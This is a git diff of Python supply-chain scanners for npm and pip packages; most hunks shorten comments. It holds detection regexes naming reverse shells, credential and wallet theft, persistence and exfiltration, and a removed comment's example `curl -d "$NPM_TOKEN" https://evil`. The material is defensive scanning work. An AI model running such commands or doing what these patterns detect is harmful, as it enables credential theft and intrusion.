@@ -845,7 +825,7 @@ def _find_unescaped(line: str, quote: str, start: int) -> int:
return -1
-# A `/` is a regex literal (not division) when the previous significant character is none (start) or one of these expression-position chars. Used only by the multi-line blanked view, whose span is unioned with the single-line view, so an over- or under-detection only ever grows the bound span.
+# `/` starts a regex after these; misdetection only grows the bound span.
_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
@@ -887,7 +867,7 @@ def _blank_js_strings(lines: list[str]) -> list[str]:
prev_sig = "v" # a string is a value: a following `/` is division
continue
if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
- # Regex literal: blank to the closing unescaped `/` outside a `[...]` char class. A regex never spans lines, so no close on the line means this `/` is really division.
+ # A regex never spans lines, so no close on this line means division.
j, in_class, closed = i + 1, False, False
while j < n:
c = line[j]
@@ -928,13 +908,13 @@ def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
return lines, sl_blanked, ml_blanked, nl
-# Cap on formatted matches in one evidence string; beyond it the remaining match texts are folded into a single digest so a huge or minified file cannot build a multi-megabyte evidence blob while an added/removed match past the cap still changes the key.
+# Past this cap, remaining matches fold into one digest so evidence stays bounded.
_MAX_EVIDENCE_MATCHES = 64
def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
"""(start, end) line indices of the bracket group enclosing line ``idx`` in one blanked view: scan back to the still-open opener, then forward to its close."""
- # Backward: find the line that opens a bracket still unclosed at the match, so a match inside a multi-line object starts from the object opener. Each line is reduced to (L, R) and applied in order (leading closers clamp depth at 0, never negative), which keeps a trailing opener visible even when leading closers on the same line net it to <= 0, e.g. `}); const opts = {`, which a net count would drop and let a changed path/headers ride the unchanged-hostname key.
+ # Order-aware reduction keeps a trailing opener visible; net counts would hide changed headers.
start = idx
depth = 0
for j in range(max(0, idx - _MAX_CONT_LINES), idx):
@@ -949,7 +929,7 @@ def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
start = j # outermost still-open opener begins here
depth += right
- # Forward: extend until the group opened at `start` closes past the match, with the same order-aware reduction so a foreign `})` on the opener line does not drive the count negative and stop the scan before the real close. The cap is measured from the match, not from `start`, so an opener found near the backward limit does not eat the whole forward budget.
+ # Same order-aware reduction forward; the cap is measured from the match.
depth = 0
end = start
for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
@@ -1012,7 +992,7 @@ def _format_match(
m: re.Match,
max_chars: int,
) -> str:
- # The shown snippet is a small window around the match; a digest of the full LOGICAL line (the matched line plus its bracket-continuation lines) is appended whenever the snippet does not already show all of it, so a changed payload tail or a multi-line header reopens. Offsets map to line numbers via bisect over precomputed newline positions, so this is O(log n) rather than rescanning the file prefix per match.
+ # Append a digest of the full logical line when the snippet does not show it all.
idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match
line_start = nl[idx - 1] + 1 if idx > 0 else 0
ke = bisect.bisect_left(nl, m.end())
@@ -1024,7 +1004,7 @@ def _format_match(
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
if snippet != full_logical:
- # Normalize before digesting, matching _evidence_hash, so a formatter-only reindent of the bound continuation lines does not reopen, while whitespace inside string literals is preserved so a changed request/payload body does.
+ # Normalize like _evidence_hash: reindent does not reopen, string contents do.
canon = _canon_preserve_strings(full_logical)
digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
snippet = f"{snippet} sha256:{digest}"
@@ -1058,7 +1038,7 @@ def _evidence(
pat: re.Pattern,
max_chars: int = 200,
) -> str:
- # Record every match, not a truncated sample, so an extra match appended to an already-flagged file changes the evidence instead of riding the first few. Past _MAX_EVIDENCE_MATCHES the rest fold into one digest binding their logical-line context. The matches are streamed from finditer rather than materialized: a generated file can repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a re.Match per occurrence before applying the cap would stall or OOM the scan.
+ # Stream every match, not a sample; materializing millions of matches would OOM.
it = pat.finditer(text)
shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
if not shown_matches:
@@ -1067,7 +1047,7 @@ def _evidence(
shown = [
_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
]
- # Fold the rest (past the cap) into one digest as they arrive, never building a second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
+ # Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{digest}")
@@ -1083,12 +1063,12 @@ LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
# ─────────────────────────────────────────────────────────────────────
-# Code-only scanning for JS/TS sources: blank `//` and `/* */` comments before matching (the top FP source is scary strings in JSDoc/changelog comments), tracking string/template/regex context so a `//` inside "http://..." is not mistaken for a comment. Strings are NOT blanked, since droppers hide payloads there. Fails open on lexer confusion, with the raw text still scanned. JS sibling of scan_packages.py::_strip_noncode.
+# Blank JS comments (top false-positive source) but not strings, where droppers hide payloads.
+# JS sibling of scan_packages.py::_strip_noncode.
# ─────────────────────────────────────────────────────────────────────
_JS_FAMILY_SUFFIXES = (".js", ".mjs", ".cjs", ".ts", ".tsx", ".jsx")
-# Keywords after which a `/` begins a regex literal (not division).
_REGEX_PRECEDING_KEYWORDS = frozenset(
{
"return",
@@ -1286,7 +1266,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
body = scripts.get(hook)
if not isinstance(body, str):
continue
- # Pin the whole lifecycle body via one digest shared by every lifecycle finding below: a script that keeps the matched signal but changes another line (swapping `echo safe` for `curl -d "$NPM_TOKEN" https://evil`) must reopen. The stored evidence is a bounded snippet plus this digest, never the entire body, so `--write-baseline` on a package with a multi-MiB install script does not bloat the baseline JSON. Normalized to match _evidence_hash so a reindent alone does not reopen, while whitespace inside quoted strings is preserved so a changed quoted payload does.
+ # One digest pins the whole lifecycle body; real edits reopen it, but a reindent alone does not.
body_digest = hashlib.sha256(
_canon_preserve_strings(body).encode("utf-8", "replace")
).hexdigest()
@@ -1306,7 +1286,6 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
),
)
)
- # Cred file paths in a lifecycle script are exfil prep (npm auto-runs these on `npm ci`); manual scripts are out of scope.
for path_substr, why in CRED_PATH_SUBSTRINGS:
if path_substr in body:
findings.append(
@@ -1370,13 +1349,11 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
def _host_in_outbound_context(text: str, host: str) -> bool:
"""True if `host` appears consistent with an outbound call. A bare array literal (defensive blocklist) is safe; co-occurrence with an HTTP URL scheme or a fetch verb in a short window is not."""
host_re = re.escape(host)
- # 1. URL form: http://host or https://host or //host/ or //host"
url_form = re.compile(
rf"(?:https?:)?//{host_re}(?:[:/\"'?#]|$)",
)
if url_form.search(text):
return True
- # 2. host appears within 200 chars of a fetch verb (either side).
fetch_context = re.compile(
rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}"
rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})",
@@ -1384,7 +1361,6 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
)
if fetch_context.search(text):
return True
- # 3. `host:` / `hostname:` config field referencing the IP.
cfg_form = re.compile(
rf"(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`]",
re.IGNORECASE,
@@ -1404,10 +1380,10 @@ def _outbound_host_evidence(text: str, host: str) -> str:
rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
re.IGNORECASE,
),
- # Host-config form: capture the whole line (path/headers/body), so a changed outbound payload on the same hostname line reopens the key.
+ # Capture the whole line so a changed payload on the same host line reopens.
re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
)
- # Record EVERY outbound context for the host, not just the first form that matches: a file with a baselined URL for the host that later adds a separate host-config request must change the evidence so the new payload cannot inherit the old key. Forms are claimed in order and a region already claimed is skipped, so the common single-context case keeps its snippet. Each form is capped at _MAX_EVIDENCE_MATCHES so a host repeated thousands of times cannot make the overlap check quadratic; past the cap the rest are folded into a digest AS THEY ARRIVE, so a host repeated millions of times cannot OOM the scan.
+ # Record every outbound context for the host, capped and folded into a digest past the cap.
lines, sl_blanked, ml_blanked, nl = _index_text(text)
claimed: list[tuple[int, int]] = []
chosen: list[re.Match] = []
@@ -1416,7 +1392,6 @@ def _outbound_host_evidence(text: str, host: str) -> str:
for pat in patterns:
for m in pat.finditer(text):
if len(chosen) < _MAX_EVIDENCE_MATCHES:
- # Overlap check runs only while filling the display list, so `claimed` is bounded by the cap and this stays O(cap) per match, while every later match is still counted below.
if any(m.start() < e and s < m.end() for s, e in claimed):
continue
claimed.append((m.start(), m.end()))
@@ -1436,11 +1411,10 @@ def _outbound_host_evidence(text: str, host: str) -> str:
def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
findings: list[Finding] = []
- # Code-only scanning for JS/TS sources: blank comments before matching so an IOC host, `eval(atob)` example or campaign marker quoted in a comment cannot manufacture a false positive. Assigned string literals, where real droppers hide base64 payloads, are preserved. Non-JS text is scanned as-is, since this lexer only understands JS comments.
if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
text = _strip_js_noncode(text)
- # IOC substrings (literal, case-sensitive). Evidence is the matched-line context with its bracket-group continuation, not the bare needle: an IOC host or hash left in place while the adjacent fetch/exfil body changes must reopen the key.
+ # Evidence includes the bracket-group context so a changed adjacent payload reopens.
for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
if needle in text:
findings.append(
@@ -1454,7 +1428,6 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
)
)
- # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context (path/headers/body) when present so a changed exfil payload on the same call reopens; falls back to the bare host when it is not in an outbound call.
for needle, why in CRED_HOST_ALWAYS_BAD:
if needle in text:
findings.append(
@@ -1471,7 +1444,6 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
)
)
- # Cred surfaces, tier 2: hosts that appear in defensive code too; require co-occurrence with a fetch verb or URL prefix.
for needle, why in CRED_HOST_NEEDS_CONTEXT:
if needle in text and _host_in_outbound_context(text, needle):
findings.append(
@@ -1489,7 +1461,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
)
)
- # Credential PATHS are not scanned here (too many FPs at file scope); scan_package_json catches them inside lifecycle scripts.
+ # Credential paths are checked only in lifecycle scripts (scan_package_json).
if _JS_FETCH_EVAL.search(text):
findings.append(
Finding(
@@ -1530,7 +1502,6 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
return findings
-# Filename suffix decides which scanners run; .cjs/.mjs/.ts are treated like .js (attackers use whichever the loader resolves).
_TEXT_SUFFIXES = (
".js",
".mjs",
@@ -1558,7 +1529,6 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
rel = path.relative_to(root).as_posix()
lower = rel.lower()
if not lower.endswith(_TEXT_SUFFIXES):
- # Skip native binaries (regex over machine code is noise); content-magic detection also skips extensionless executables and versioned shared libraries.
try:
if path.stat().st_size > HARD_MAX_TEXT_FILE_BYTES:
continue
@@ -1595,11 +1565,9 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
# ─────────────────────────────────────────────────────────────────────
-
-
def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | None]:
"""Download, extract and scan a single package, cleaning up its dir. Returns (findings, error); `error` is non-None only on hard failures (download, integrity mismatch, malformed tarball), and on a clean run with findings the caller decides the exit code from severity."""
- # Opaque dir: lockfile names and versions are untrusted path components, and this dir is rmtree'd.
+ # Opaque dir: lockfile names are untrusted path components and the dir is rmtree'd.
pkg_dir = Path(tempfile.mkdtemp(prefix = "pkg-", dir = workspace))
tarball = pkg_dir / "pkg.tgz"
extract = pkg_dir / "x"
@@ -1612,7 +1580,6 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
return [], err
return scan_extracted_tree(pkg, extract), None
finally:
- # Always wipe per-package data to keep the workspace bounded.
try:
shutil.rmtree(pkg_dir, ignore_errors = True)
except Exception:
@@ -1620,12 +1587,12 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
# ─────────────────────────────────────────────────────────────────────
-# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate can enforce without red-failing on rare legitimate-library behavior. Matched on ``(normalized package, package-relative path, pattern)`` rather than evidence text, so a version bump does not reopen a finding while a NEW kind of finding in a listed file is a different pattern and still fails. Mirrors scan_packages.py; regenerate with ``--write-baseline``.
+# Matched on (package, relative path, pattern), not evidence text, so version bumps do not reopen.
# ─────────────────────────────────────────────────────────────────────
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
-# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new payload under an already-listed package/path/pattern is not auto-suppressed; v2 keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline with entries is ignored (fail closed) rather than mis-applied.
+# v3 adds an evidence hash; a pre-v3 baseline with entries is ignored (fail closed).
_BASELINE_SCHEMA_VERSION = 3
@@ -1680,7 +1647,6 @@ def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
- # v2 shares v3's package-relative keying, so its entries migrate by recomputing the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
print(
f" [WARN] baseline schema v{data.get('version')} predates package-relative "
@@ -1898,7 +1864,7 @@ def main(argv: list[str] | None = None) -> int:
}[args.fail_on]
threshold_rank = _SEVERITY_RANK[threshold]
- # --write-baseline: persist the full current at/above-threshold set as the new allowlist (ignoring any loaded baseline), then exit 0. A hard error means the scan was incomplete, so warn: a baseline baked from a partial run would silently allow whatever failed to download.
+ # A hard error means the scan was incomplete, so a baseline from it would allow failures.
if args.write_baseline:
if hard_errors:
print(
@@ -1909,7 +1875,6 @@ def main(argv: list[str] | None = None) -> int:
_write_baseline(args.write_baseline, all_findings, threshold_rank)
return 0
- # Baseline allowlist: suppress triaged, known-good findings so the CI gate can be enforcing without red-failing on legitimate-library noise.
if args.no_baseline:
baseline_path = None
elif args.baseline:
@@ -1930,7 +1895,6 @@ def main(argv: list[str] | None = None) -> int:
flush = True,
)
- # Exit 1 on a hard error or a NON-baselined finding at/above threshold.
blocking = [f for f in active if _SEVERITY_RANK[f.severity] <= threshold_rank]
if hard_errors or blocking:
if blocking:
diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py
index b27c3dbd336..9fc732c33fd 100644
--- a/scripts/scan_packages.py
+++ b/scripts/scan_packages.py
@@ -1,8 +1,7 @@
#!/usr/bin/env python3
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# .github/workflows/security-audit.yml's pip-scan-packages job depends
-# on this file existing at scripts/scan_packages.py.
+# security-audit.yml's pip-scan-packages job depends on this path.
"""
scan_packages.py -- Standalone pre-install package scanner.
@@ -103,7 +102,7 @@ RE_BASE64 = re.compile(
RE_EXEC_EVAL = re.compile(r"\b(exec|eval)\s*\(")
-# Network APIs (excludes urllib.parse, pure string manipulation). ``httpx2`` is the pydantic-maintained successor and a separate import name: openai 3.0.0 requires it and routes every call through it, which made the SDK's own HTTP invisible to each combined check needing a network half.
+# Excludes urllib.parse. httpx2 is a separate import name that openai 3.x routes through.
RE_NETWORK = re.compile(
r"\burllib\.request\b"
r"|\burlopen\s*\("
@@ -117,10 +116,8 @@ RE_NETWORK = re.compile(
RE_LARGE_BLOB = re.compile(r"[A-Za-z0-9+/=]{200,}")
-# Credential and wallet names in RE_CRED_ACCESS and RE_CRYPTO_THEFT are stored split into pieces and
-# joined at import: written whole, they got this file quarantined by Bitdefender as Generic.PY.STEALER.
-# Its engine folds `+` and adjacent string literals back together, so the pieces are joined at runtime
-# instead. The compiled patterns are unchanged; split any name added to these two the same way.
+# Credential and wallet names are split and joined at runtime so AV does not quarantine the file
+# as a stealer (it folds `+` and adjacent literals). Split any name added to these two the same way.
def _joined(*parts) -> str:
"""Concatenate pattern parts; a tuple part is one name split into pieces."""
return "".join("".join(part) for part in parts)
@@ -170,7 +167,7 @@ RE_OBFUSCATION = re.compile(
r"|\bbz2\s*\.\s*decompress\b"
r"|\bbytearray\s*\(\s*\[.*?\]\s*\)" # bytearray([104,101,...])
r"|\bchr\s*\(\s*\d+\s*\).*chr\s*\(\s*\d+\s*\)" # chr() obfuscation chains
- r"|\b__import__\s*\(" # dynamic import
+ r"|\b__import__\s*\("
r"|\bgetattr\s*\(\s*__builtins__" # getattr(__builtins__, ...)
r"|\brotate\s*=.*\blambda\b.*\bchr\b" # rotation ciphers
r"|\b(?:b64decode|decodebytes)\s*\(.*(?:b64decode|decodebytes)\s*\(", # double base64
@@ -200,7 +197,7 @@ RE_CLOUD_METADATA = re.compile(
RE_PERSISTENCE = re.compile(
r"/etc/systemd/"
r"|systemctl\s+(enable|start|daemon-reload)"
- r"|\.service\b.*\[Service\]" # systemd unit content
+ r"|\.service\b.*\[Service\]"
r"|/etc/cron"
r"|crontab\s"
r"|/etc/init\.d/"
@@ -208,11 +205,11 @@ RE_PERSISTENCE = re.compile(
r"|/Library/LaunchAgents"
r"|~/\.config/autostart"
r"|~/.local/share/systemd"
- r"|~/\.config/systemd/user/" # user-level systemd
- r"|HKEY_LOCAL_MACHINE.*\\\\Run" # Windows registry autorun
+ r"|~/\.config/systemd/user/"
+ r"|HKEY_LOCAL_MACHINE.*\\\\Run"
r"|HKEY_CURRENT_USER.*\\\\Run"
r"|\\\\Start Menu\\\\Programs\\\\Startup"
- r"|schtasks\s", # Windows scheduled tasks
+ r"|schtasks\s",
re.IGNORECASE,
)
@@ -230,15 +227,15 @@ RE_CONTAINER_ABUSE = re.compile(
r"|\bhostPID\s*:\s*true"
r"|\bprivileged\s*:\s*true"
r"|\bhostNetwork\s*:\s*true"
- r"|\bhostPath\b.*\bpath\s*:\s*/", # k8s hostPath mounts
+ r"|\bhostPath\b.*\bpath\s*:\s*/",
re.IGNORECASE,
)
RE_ENV_HARVEST = re.compile(
- r"\bos\.environ\s*\.\s*copy\s*\(" # full env copy
+ r"\bos\.environ\s*\.\s*copy\s*\("
r"|\bdict\s*\(\s*os\.environ\s*\)"
r"|\bjson\.dumps\s*\(\s*(?:dict\s*\(\s*)?os\.environ"
- r"|\bfor\s+\w+\s*,\s*\w+\s+in\s+os\.environ\.items\(\)" # iterating all env vars
+ r"|\bfor\s+\w+\s*,\s*\w+\s+in\s+os\.environ\.items\(\)"
r"|\bos\.environ\b.*(?:SECRET|TOKEN|KEY|PASSWORD|CREDENTIAL|API_KEY|PRIVATE)"
r"|\b(?:SECRET|TOKEN|PASSWORD|API_KEY|PRIVATE_KEY)\b.*os\.environ",
re.IGNORECASE,
@@ -253,24 +250,24 @@ RE_ARCHIVE_STAGING = re.compile(
re.DOTALL,
)
-# Anti-analysis / sandbox evasion / debugger detection. Deliberately NO bare ``platform.system() ... Linux/Windows/Darwin`` branch: under re.DOTALL it matched across the whole file, so any cross-platform library tripped it. OS detection alone is not an anti-analysis signal; the debugger/VM/long-sleep signals below are.
+# No bare platform.system() branch: under DOTALL it matched any cross-platform library.
RE_ANTI_ANALYSIS = re.compile(
r"\bptrace\b"
r"|\bsys\s*\.\s*gettrace\s*\("
r"|\bsys\s*\.\s*settrace\b"
r"|\bTracerPid\b"
- # /proc/self/status is read to scrape TracerPid for anti-debug. A leading \b is unsatisfiable there, so the old pattern was dead; a lookbehind forbidding only a preceding word char or path separator matches open("/proc/self/status") and `cat /proc/self/status` while avoiding mid-path partials.
+ # Lookbehind instead of \b, which needs a word char before `/` and so missed real uses.
r"|(?<![\w/])/proc/self/status\b"
r"|\bIsDebuggerPresent\b"
r"|\bvirtualbox\b.*\bhardware\b"
r"|\bvmware\b.*\bdetect\b"
- r"|\btime\.sleep\s*\(\s*(?:[3-9]\d{2,}|[1-9]\d{3,})\s*\)", # long sleep (anti-sandbox)
+ r"|\btime\.sleep\s*\(\s*(?:[3-9]\d{2,}|[1-9]\d{3,})\s*\)",
re.IGNORECASE | re.DOTALL,
)
RE_DNS_EXFIL = re.compile(
r"\bdns\.resolver\b"
- r"|\bsocket\.getaddrinfo\s*\([^)]*\+[^)]*\)" # dynamic hostname construction
+ r"|\bsocket\.getaddrinfo\s*\([^)]*\+[^)]*\)"
r"|\bdnspython\b"
r"|\bTXT\b.*\bresolver\b"
r"|\bresolver\b.*\bTXT\b"
@@ -283,9 +280,9 @@ RE_FS_ENUM = re.compile(
r"|\bglob\s*\.\s*glob\s*\([^)]*(?:\*\*|\*\.pem|\*\.key|\*\.cer|\*\.pfx|\*\.p12)"
r"|\bos\.listdir\s*\(\s*['\"](?:/home|/root|/Users|/etc)"
r"|\bPath\s*\(\s*['\"]~['\"]\s*\)\s*\.\s*glob\b"
- # Shell / REPL history FILES. Replaces `\bhistory\b.*\bread\b`, whose re.DOTALL `.*` spanned the whole file and produced 9 of the 11 baselined CRITICALs here, each allowlisted, which suppressed this check for the whole file.
+ # History files by name; a DOTALL `history.*read` spanned whole files and was all noise.
r"|\.(?:bash|zsh|ksh|sh|python|node_repl|psql|mysql|rediscli|irb|sqlite)_history\b"
- # Undotted history files, with a boundary that finds them however the path was built (fish_history, PSReadLine/ConsoleHost_history.txt). A quote counts as a boundary alongside a separator, so a basename assembled by Path.home() / "fish" / "fish_history" still matches.
+ # Undotted history files; a quote counts as a boundary so Path pieces still match.
r"|(?:^|[/\\'\"])(?i:fish_history|ConsoleHost_history\.txt)\b"
r"|['\"~/]\.history\b"
r"|\bHISTFILE\b"
@@ -294,7 +291,8 @@ RE_FS_ENUM = re.compile(
re.DOTALL,
)
-# Reverse shell / bind shell patterns. LEFT EXACTLY AS IT WAS, dup2 included, because this pattern is what the evidence is extracted with: it is re.DOTALL, so a match spans from the first signal to the last and editing the alternation moves the span, moves the digest, and silently reopens every reviewed baseline entry taken against it (removing the dup2 branch un-suppressed 11 entries). Whether dup2 alone is enough is decided below instead.
+# Leave this pattern exactly as is: evidence is extracted with it, so editing the alternation
+# moves digests and reopens every reviewed baseline entry. dup2 is gated below instead.
RE_REVERSE_SHELL = re.compile(
r"\bsocket\b.*\bconnect\b.*\bsubprocess\b"
r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b"
@@ -305,7 +303,7 @@ RE_REVERSE_SHELL = re.compile(
re.DOTALL,
)
-# The same thing without the dup2 branch, used only to answer "would this file still be a reverse shell if dup2 did not count?". dup2 is the ordinary way to point a file descriptor at a file and was the only single-token alternative above, so it fired on capture helpers and redirect plumbing: ten of the nineteen reverse-shell baseline entries are dup2 with no socket anywhere in the file, and not one is a true positive. A reverse shell dup2s onto a SOCKET, so the socket is the half carrying the meaning.
+# Without dup2: a reverse shell dup2s onto a socket, so the socket carries the meaning.
RE_REVERSE_SHELL_WITHOUT_DUP = re.compile(
r"\bsocket\b.*\bconnect\b.*\bsubprocess\b"
r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b"
@@ -317,11 +315,11 @@ RE_REVERSE_SHELL_WITHOUT_DUP = re.compile(
RE_SOCKET_USE = re.compile(r"\bsocket\b")
RE_REMOTE_CODE = re.compile(
- r"\bexec\s*\(\s*(?:urllib|requests|httpx|urlopen)" # exec(requests.get(...))
+ r"\bexec\s*\(\s*(?:urllib|requests|httpx|urlopen)"
r"|\bexec\s*\([^)]*\.(?:text|content|read)\s*\("
r"|\beval\s*\([^)]*\.(?:text|content|read)\s*\("
- r"|\bimportlib\s*\.\s*import_module\s*\([^)]*\+" # dynamic import with concatenation
- r"|\b__import__\s*\([^)]*\+", # __import__ with concatenation
+ r"|\bimportlib\s*\.\s*import_module\s*\([^)]*\+"
+ r"|\b__import__\s*\([^)]*\+",
re.DOTALL,
)
@@ -357,7 +355,7 @@ RE_C2_POLLING = re.compile(
re.DOTALL,
)
-# Developer-tool persistence hooks. Lightning 2.6.x planted SessionStart hooks into Claude Code / VS Code / Cursor so the payload re-attached on editor open.
+# Lightning 2.6.x planted editor SessionStart hooks to re-attach the payload.
RE_DEV_TOOL_HIJACK = re.compile(
r"\.claude/settings\.json"
r"|\.cursor/.*hooks"
@@ -368,7 +366,7 @@ RE_DEV_TOOL_HIJACK = re.compile(
r"|\bautomator\b.*\.workflow\b",
)
-# Hard-coded credential / API-token regexes embedded in source: packages that ship regexes for OTHER people's secrets are nearly always stealers.
+# Packages shipping regexes for other people's secrets are nearly always stealers.
RE_TOKEN_REGEX = re.compile(
r"\bgh[psoru]_[A-Za-z0-9_]{20,}" # GitHub PAT/OAuth/etc.
r"|\bgithub_pat_[A-Za-z0-9_]{20,}"
@@ -392,11 +390,11 @@ RE_MAY12_IOC = re.compile(
RE_JS_OBFUSCATION = re.compile(
r"_0x[a-f0-9]{4,6}\s*=\s*function"
r"|var\s+_0x[a-f0-9]{4,6}\b"
- r"|(?:\\x[0-9a-f]{2}){10,}" # \x-escape strings
+ r"|(?:\\x[0-9a-f]{2}){10,}"
r"|String\.fromCharCode\s*\(\s*\d+\s*(?:,\s*\d+\s*){10,}\)",
)
-# Web3 / wallet-hijack pattern. The Qix npm phish overrode fetch/XMLHttpRequest and swapped recipient addresses via a `window.ethereum` listener.
+# The Qix npm phish swapped recipient addresses via a window.ethereum listener.
RE_WEB3_HIJACK = re.compile(
r"\bwindow\.ethereum\b"
r"|\bweb3\.eth\.\w+\s*\("
@@ -405,7 +403,7 @@ RE_WEB3_HIJACK = re.compile(
r"|TronWeb|solanaWeb3",
)
-# Self-propagating worms (Shai-Hulud, ForceMemo) plant their own GitHub workflow in every repo they reach and use trufflehog/gitleaks for credential discovery.
+# Self-propagating worms plant their own workflow and use trufflehog/gitleaks.
RE_WORKFLOW_INJECT = re.compile(
r"\.github/workflows/[^\"\']*\.ya?ml"
r"|\btrufflehog\b|\bgitleaks\b"
@@ -440,7 +438,7 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
import_lines = [line for line in content.splitlines() if RE_PTH_IMPORT.match(line)]
if not import_lines:
- return findings # Pure path entries, inert
+ return findings
_pth_checks = [
(RE_SUBPROCESS, ".pth has subprocess/os exec calls"),
@@ -482,7 +480,7 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
)
if RE_LARGE_BLOB.search(content):
- # Digest every blob (not just the first 120 chars, and not just the first blob), so a later payload that keeps the prefix or appends a second encoded blob reopens.
+ # Digest every blob in full, so a kept prefix or an appended blob still reopens.
blob, digest = _blob_digest(content)
findings.append(
Finding(
@@ -494,7 +492,7 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
)
)
- # Catch-all: any import line in .pth if nothing else triggered. Bind every line through a digest so an appended/swapped import reopens the key, but cap the displayed text so a large .pth cannot dump the archive member cap into the logs or baseline JSON.
+ # Bind every import line via a digest but cap the displayed text.
if not findings and import_lines:
evidence = _cap_line("\n".join(import_lines))
findings.append(
@@ -507,7 +505,7 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
)
)
- # Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)
+ # litellm's was 34 KB; legit ones are under 100 bytes.
size = len(content)
if size > 500 and import_lines:
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
@@ -524,7 +522,8 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
return findings
-# A STRING after one of these tokens (and before a NEWLINE) is a bare docstring/doctest/prose statement, the dominant FP source, so blank it. A string after `=` or `(` is real code and is never blanked.
+# A string statement on its own line is prose (the main false-positive source); strings after
+# `=` or `(` are code and never blanked.
_LINE_START_TOKENS = frozenset({tokenize.NEWLINE, tokenize.NL, tokenize.INDENT, tokenize.DEDENT})
@@ -541,21 +540,20 @@ def _strip_noncode(content: str, blank_comments: bool = True) -> str:
except (tokenize.TokenError, IndentationError, SyntaxError, ValueError):
return content
- spans: list[tuple[int, int, int, int]] = [] # (srow, scol, erow, ecol)
- prev_significant = tokenize.NEWLINE # start-of-file behaves like a new line
+ spans: list[tuple[int, int, int, int]] = []
+ prev_significant = tokenize.NEWLINE
n = len(toks)
for i, tok in enumerate(toks):
ttype = tok.type
if ttype == tokenize.COMMENT:
if blank_comments:
spans.append((*tok.start, *tok.end))
- continue # transparent; never advances prev_significant
+ continue
if (
ttype == tokenize.STRING
and prev_significant in _LINE_START_TOKENS
and not _is_fstring(tok.string) # f-strings execute; never blank them
):
- # Bare string only if it is the whole statement: the next significant token must close the logical line.
j = i + 1
while j < n and toks[j].type in (tokenize.COMMENT, tokenize.NL):
j += 1
@@ -596,7 +594,6 @@ def _strip_noncode(content: str, blank_comments: bool = True) -> str:
return "".join(buf)
-# Payload carriers that are suspicious when hidden in a blanked region (a docstring/string) of a file that can dynamically execute strings.
_HIDDEN_PAYLOAD_PATTERNS = (
(RE_LARGE_BLOB, "large base64 blob"),
(RE_EMBEDDED_KEYS, "embedded key material"),
@@ -611,12 +608,12 @@ def _hidden_payload_findings(
"""Flag payloads that live only in the blanked (docstring/string) region of a file containing exec/eval: such a string is invisible to code-only scanning yet ``exec(__doc__)`` could still run it."""
if not RE_EXEC_EVAL.search(stripped):
return []
- # Only docstrings/strings run via exec(__doc__)/exec(<str>); comments cannot. Isolate that span: keep comments as real code, take what string-blanking removed (length-preserved, so offsets stay exact).
